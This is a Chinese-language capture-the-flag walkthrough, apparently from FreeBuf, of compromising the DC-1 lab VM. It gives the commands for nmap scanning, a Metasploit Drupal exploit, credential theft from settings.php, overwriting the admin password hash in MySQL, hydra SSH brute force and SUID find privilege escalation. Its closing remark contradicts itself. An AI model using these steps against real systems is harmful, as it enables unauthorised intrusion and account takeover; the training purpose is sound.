环境搭建
在虚拟机中加载 DC-1 靶机,将靶机网络改为NAT模式,启动靶机即可。
信息收集
使用 nmap 扫描 C 段,获取靶机 IP 地址
nmap -Pn 192.168.207.0/24
使用 nmap 扫描靶机开放端口、服务和版本信息
nmap -sS -sV -sC -O 192.168.207.227
靶机开放了 22、80 和111 端口,web 框架使用的是 Drupal 7。
漏洞利用
使用 msf 对 Drupal 进行搜索
msfconsole -q
search drupal
在 Rank 为 excellent 中选择年份最近的,设置目标靶机地址
use 2
set RHOSTS 192.168.207.227
show options
开始攻击,获取 meterpreter
输入 python 命令,获取交互式 shell
shell
python -c 'import pty;pty.spawn("/bin/bash")'
flag1
获取 flag1,根据提示查找 drupal 的配置文件
flag2
通过查看 /sites/default/settings.php 发现 flag2 和 mysql 的用户名和密码,dbuser:R0ck3t
cat /sites/default/settings.php
登录数据库
mysql -u dbuser -p
R0ck3t
查询 drupaldb.users 表中的记录和字段,可以通过 update 去替换 admin 用户的加密密码
use drupaldb
select * from users;
desc users;
Drupal 中自带一个加密脚本,得到 admin 的加密 hash
/var/www/scripts/password-hash.sh admin
再将加密后的admin密码替换
update drupaldb.users set pass="$S$Dh4KPBQOOmjtoV/.o.TbUaqBqAKcBUOOENjJRgyUPtzvEggJg7I/" where uid=1;
flag3
使用 admin:admin 登录 192.168.207.227:80,点击 dashboard 发现 flag3
查看 /etc/passwd ,还有一个 flag4 用户
使用 hydra 爆破 ssh 服务,获取 flag4 密码为 orange
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt -t 10 ssh://192.168.207.227
flag4
查看 /home/flag4/flag4.txt文件
权限提升
查看具有特殊权限suid的命令,发现有find命令
find / -perm -4000 2>/dev/null
thefinalflag
使用find命令进行提取,获取/root/thefinalflag.txt
find /usr/bin/find -exec "/bin/sh" \;
注意:使用的是 /bin/bash ,而不是 /bin/bash
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)